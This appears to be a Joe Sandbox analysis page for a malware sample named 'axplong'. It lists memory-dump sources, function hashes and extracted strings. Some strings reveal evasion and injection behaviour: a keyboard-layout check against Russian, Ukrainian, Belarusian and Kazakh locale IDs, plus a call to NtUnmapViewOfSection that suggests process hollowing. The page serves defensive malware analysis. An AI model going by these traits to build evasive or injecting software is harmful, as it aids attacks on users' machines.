Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$GqKudSO2$MJB+$MT==$UD==$WGt=$WWp=$WWt=$fed3aa
API String ID: 0-214772295
Opcode ID: 003e8b810f151b51df5b3e5bc76a245b57c73601828ccb0205162909ddf27f27
Instruction ID: d1355c62a726a5da57ae713e245042afd1c8a3ec44167de95ed4d4b14f42f3f8
Opcode Fuzzy Hash: 003e8b810f151b51df5b3e5bc76a245b57c73601828ccb0205162909ddf27f27
Instruction Fuzzy Hash: 3282F770904288EBEF15EF68C9497DDBFB5AB46304F508199E8056B3C2C7759A88CFD2

Function 009ED312 Relevance: .2, Instructions: 172
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_copy.LIBVCRUNTIME ref: 009D247E

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 5877a38136cd96a34316e06673a4ee4bdb8612410f3b2dbf9ba2913fbe57195b
Instruction ID: e8d1d2d555dc4255664feeeef14b0f6d8a79947a6b79c34d8418144d30784c2e
Opcode Fuzzy Hash: 5877a38136cd96a34316e06673a4ee4bdb8612410f3b2dbf9ba2913fbe57195b
Instruction Fuzzy Hash: D851ACB1E016459FDB1ACFAAED857A9BBF8FB08350F24852AE404EB690D3749D41CF50

Function 009E3550 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 009E425F

Part of subcall function 009E7870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 009E795C
Part of subcall function 009E7870: __Cnd_destroy_in_situ.LIBCPMT ref: 009E7968
Part of subcall function 009E7870: __Mtx_destroy_in_situ.LIBCPMT ref: 009E7971

Strings

Vp 6, xrefs: 009E5447
9526, xrefs: 009E531D
5120, xrefs: 009E3ABF, 009E3BAA
V5Qk, xrefs: 009E3DC0
", xrefs: 009E3E99
aZT6, xrefs: 009E53CC
8ZF6, xrefs: 009E5502
W07l, xrefs: 009E3AEE
5F6, xrefs: 009E5497
mP=, xrefs: 009E6383
6F9fr==, xrefs: 009E4712
HBhr, xrefs: 009E378F
9KN6, xrefs: 009E5351
MJB+, xrefs: 009E4776, 009E47ED, 009E4A95, 009E4B0C
KFT0PL==, xrefs: 009E54B9
fed3aa, xrefs: 009E5489
V0x6, xrefs: 009E541E
WJms, xrefs: 009E3BD9
stoi argument out of range, xrefs: 009E2E02, 009E4269, 009E4EAC
Fz==, xrefs: 009E369E, 009E4D2D
invalid stoi argument, xrefs: 009E2DE9, 009E2DF8, 009E425A, 009E4E9D
JB6, xrefs: 009E53F5
MJF+, xrefs: 009E47BD, 009E48EC, 009E4ADC, 009E4C0B
V0N6, xrefs: 009E537A
96B6, xrefs: 009E5470
WJP6, xrefs: 009E53A3
aqB6, xrefs: 009E54DB
246122658369, xrefs: 009E1EA5, 009E27EE, 009E2A43, 009E2AB0, 009E2E88, 009E3373, 009E33D4, 009E4F3A, 009E4F4D, 009E4F8F, 009E4F99, 009E54F4

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: 5F6$ 6F9fr==$ JB6$ mP=$"$246122658369$5120$8ZF6$9526$96B6$9KN6$Fz==$HBhr$KFT0PL==$MJB+$MJF+$V0N6$V0x6$V5Qk$Vp 6$W07l$WJP6$WJms$aZT6$aqB6$fed3aa$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-3875209911
Opcode ID: 9c1d3f357f4c49d2cdd96701ce91200abb971ac7ffed2864e75636fd290806cc
Instruction ID: a9a83b1b8590e08a1022ac23d0b4ae88a0c468519b3cba9ebed8249e1ae3c9a1
Opcode Fuzzy Hash: 9c1d3f357f4c49d2cdd96701ce91200abb971ac7ffed2864e75636fd290806cc
Instruction Fuzzy Hash: F8521771A00288EBDF19EF79CD4A79DBB75AF85300F508198E445A7382D7359F84CBA2

Function 009E46C0 Relevance: 28.7, Strings: 21, Instructions: 2484COMMON

Download Yara Rule

APIs

Part of subcall function 009E7870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 009E795C
Part of subcall function 009E7870: __Cnd_destroy_in_situ.LIBCPMT ref: 009E7968
Part of subcall function 009E7870: __Mtx_destroy_in_situ.LIBCPMT ref: 009E7971

std::_Xinvalid_argument.LIBCPMT ref: 009E4EA2

Strings

MJB+, xrefs: 009E4776, 009E47ED, 009E4A95, 009E4B0C
Vp 6, xrefs: 009E5447
KFT0PL==, xrefs: 009E54B9
fed3aa, xrefs: 009E5489
9526, xrefs: 009E531D
V0x6, xrefs: 009E541E
aZT6, xrefs: 009E53CC
stoi argument out of range, xrefs: 009E4269, 009E4EAC
8ZF6, xrefs: 009E5502
Fz==, xrefs: 009E369E, 009E4D2D
JB6, xrefs: 009E53F5
5F6, xrefs: 009E5497
MJF+, xrefs: 009E47BD, 009E48EC, 009E4ADC, 009E4C0B
V0N6, xrefs: 009E537A
96B6, xrefs: 009E5470
mP=, xrefs: 009E6383, 009E6652
6F9fr==, xrefs: 009E4712
WJP6, xrefs: 009E53A3
9KN6, xrefs: 009E5351
aqB6, xrefs: 009E54DB
246122658369, xrefs: 009E4F3A, 009E4F4D, 009E4F8F, 009E4F99, 009E54F4

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: 5F6$ 6F9fr==$ JB6$ mP=$246122658369$8ZF6$9526$96B6$9KN6$Fz==$KFT0PL==$MJB+$MJF+$V0N6$V0x6$Vp 6$WJP6$aZT6$aqB6$fed3aa$stoi argument out of range
API String ID: 4234742559-1662704651
Opcode ID: 316546b17415baaef18761666d6660bd210a6687a670f57b4e1e62fc39470b76
Instruction ID: 7cd926f62d72aef192a9d32153aaf2e7eee8c0bda8ac81e9be56496c41fe0937
Opcode Fuzzy Hash: 316546b17415baaef18761666d6660bd210a6687a670f57b4e1e62fc39470b76
Instruction Fuzzy Hash: 89232571E001989BEB1ADB28CD8979DBB76AB91304F5481DCE048AB2C6DB359FC4CF51

Function 009D58F0 Relevance: 17.8, Strings: 14, Instructions: 288
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 009D7140
RBPleCSm, xrefs: 009D666C
0000043f, xrefs: 009D603B
ntdll.dll, xrefs: 009D715D
00000419, xrefs: 009D5FA8
stoi argument out of range, xrefs: 009D7051
(, xrefs: 009D7206
00000422, xrefs: 009D5FD9
invalid stoi argument, xrefs: 009D7060
Keyboard Layout\Preload, xrefs: 009D5F64
GVQsgL==, xrefs: 009D66F8
NtUnmapViewOfSection, xrefs: 009D7158
00000423, xrefs: 009D600A
IVKsgL==, xrefs: 009D67A1

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: $($00000419$00000422$00000423$0000043f$GVQsgL==$IVKsgL==$Keyboard Layout\Preload$NtUnmapViewOfSection$RBPleCSm$invalid stoi argument$ntdll.dll$stoi argument out of range
API String ID: 0-2634686781
Opcode ID: e9327c92c126c963903986bdc92472890671fec0e20372b4c0ace7a575a9f722
Instruction ID: 2ef7ca70d56eb26580db2216d23b9258678c489bf697efc89d65894832c5867d
Opcode Fuzzy Hash: e9327c92c126c963903986bdc92472890671fec0e20372b4c0ace7a575a9f722
Instruction Fuzzy Hash: DEB13671A04654CFDB18DF68C990BADBBB2FF49300F54866EE411AB382DB359E45CB90

Function 009DBD60 Relevance: 7.8, Strings: 6, Instructions: 310
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

RHYTYv==, xrefs: 009DBE33
invalid stoi argument, xrefs: 009DE404
RpKt, xrefs: 009DD516
8KG0fCKZFzY=, xrefs: 009DC385
8KG0fymoFx==, xrefs: 009DC2EB, 009DC543
stoi argument out of range, xrefs: 009DE3FA

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 8KG0fCKZFzY=$8KG0fymoFx==$RHYTYv==$RpKt$invalid stoi argument$stoi argument out of range
API String ID: 0-332458646
Opcode ID: 0d3f5e6a804204f60599cd96aba0f32d62b146befabd2e0a03ca20733d385658
Instruction ID: c74ebbf9c71a8cb437ef464629aa53ad75bd13b614d537ead9f07995d9398847
Opcode Fuzzy Hash: 0d3f5e6a804204f60599cd96aba0f32d62b146befabd2e0a03ca20733d385658
Instruction Fuzzy Hash: 87B1E5B1640119ABEB24DF28CC84BADBB69EF85304F5085AAF518973C1DB749EC0CF95

Function 009D5DF0 Relevance: 6.6, Strings: 5, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000422, xrefs: 009D5FD9
Keyboard Layout\Preload, xrefs: 009D5F64
0000043f, xrefs: 009D603B
00000423, xrefs: 009D600A
00000419, xrefs: 009D5FA8

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: f837a63538f958e79a5bc90ce93119b3a32ea48cce0b772edc235c1360bb0ea7
Instruction ID: 5d1c4d1911a4c95a2bb60829d0eb456bbe8567c9f873de6e42d0145e99e2cd89
Opcode Fuzzy Hash: f837a63538f958e79a5bc90ce93119b3a32ea48cce0b772edc235c1360bb0ea7
Instruction Fuzzy Hash: 12E19E71940258ABEB25DFA4CC89BDEB779AF05304F5082DAE408A7291DB74AFC4CF51

Function 009D7D00 Relevance: 4.1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

JmpxRL==, xrefs: 009D8062
JmpxQb==, xrefs: 009D81B2
JmpyPb==, xrefs: 009D810A

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: JmpxQb==$JmpxRL==$JmpyPb==
API String ID: 0-2057465332
Opcode ID: 360972209ec96fe7c7849e86282138895a6310cfe4fae117ac9fc61776cbe399
Instruction ID: 1ad8453ab10cf2e972e53cf5cc2b3622eb0067b15f72a8b949c7d53dc30194da
Opcode Fuzzy Hash: 360972209ec96fe7c7849e86282138895a6310cfe4fae117ac9fc61776cbe399
Instruction Fuzzy Hash: 25D11A71E44604ABDF14FB68DC4B39DB771AB82310F50828EE415AB3D2DB354E818BD2

Function 009D65B0 Relevance: 4.0, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

GVQsgL==, xrefs: 009D66F8
RBPleCSm, xrefs: 009D666C
IVKsgL==, xrefs: 009D67A1

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: GVQsgL==$IVKsgL==$RBPleCSm
API String ID: 0-3856690409
Opcode ID: 1adea4c9cadd13f90ec6b4d76f43032194ff450709e2113efa3ed6654623487c
Instruction ID: 4173fade3d160797660a7941469ad51932832788fcc1c27af1f2c5c35ea6186d
Opcode Fuzzy Hash: 1adea4c9cadd13f90ec6b4d76f43032194ff450709e2113efa3ed6654623487c
Instruction Fuzzy Hash: 3691E2B190011C9BDB29DF28CC85BEDB779EB85304F4085EAE51997282DA349FC4CFA4

Function 009DB920 Relevance: 3.9, Strings: 3, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

RHYTYv==, xrefs: 009DBE33
8KG0fCKZFzY=, xrefs: 009DC385
8KG0fymoFx==, xrefs: 009DC2EB, 009DC543

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 8KG0fCKZFzY=$8KG0fymoFx==$RHYTYv==
API String ID: 0-2524226959
Opcode ID: d7e1c46bb7258a0def4647ff3e0f32f0582dcf14c542a7ce55c9e216f8b89590
Instruction ID: 2ede5aa02d3e9a929d612b2178646581a2ecd028442db5137284fcaf3792f45e
Opcode Fuzzy Hash: d7e1c46bb7258a0def4647ff3e0f32f0582dcf14c542a7ce55c9e216f8b89590
Instruction Fuzzy Hash: 2D41D131A50159EFDF08CF68CC95BAE77B9EF49714F118919F905EB280DB74A940CB90

Function 00A06E01 Relevance: 1.6, APIs: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__dosmaperr.LIBCMT ref: 00A06F12

Part of subcall function 00A07177: __dosmaperr.LIBCMT ref: 00A071AC

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID: __dosmaperr
String ID:
API String ID: 2332233096-0
Opcode ID: bfc45d67c83759a801240f9dde03873c0aff34a4ed6393546566be9bc4af3342
Instruction ID: f0c4ff49b67e0fd0c76e258bb505f92faac77992f19f9771db251c7c3973602b
